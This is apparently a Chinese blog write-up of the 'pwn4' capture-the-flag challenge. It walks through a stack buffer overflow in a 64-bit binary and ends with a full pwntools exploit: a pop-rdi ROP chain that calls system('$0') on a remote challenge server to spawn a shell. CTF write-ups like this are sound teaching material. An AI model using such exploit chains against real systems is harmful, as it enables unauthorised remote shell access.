pwn-pwn4

依旧是先检查文件的类型和保护  64位没有保护

pwn-pwn4

 用IDA看看,read存在溢出,溢出0x18(不懂可以翻阅前面的博客)

pwn-pwn4

函数system可以调用指令

 pwn-pwn4

shift+F12看看

pwn-pwn4

$0在Linux中是shell的名称

那么我们可以利用system函数调用$0来getshell,因为是64位,需要用rdi寄存器来给system传值

 现在找一下rdi的地址和$0的地址

pwn-pwn4

pwn-pwn4

 

 现在还需要system的地址
pwn-pwn4

 

 现在就可以编写exp

from pwn import *
r=remote('114.116.54.89',10004)

rdi_add=0x4007D3
shell_add=0x60111F
sys_add=0x40075A

payload='a'*0x18+p64(rdi_add)+p64(shell_add)+p64(sys_add)
r.sendline(payload)
r.interactive()                 

pwn-pwn4

 

 


          

 

上一篇:Python下调用Linux的Shell命令


下一篇:CodeForces - 777B Game of Credit Cards 贪心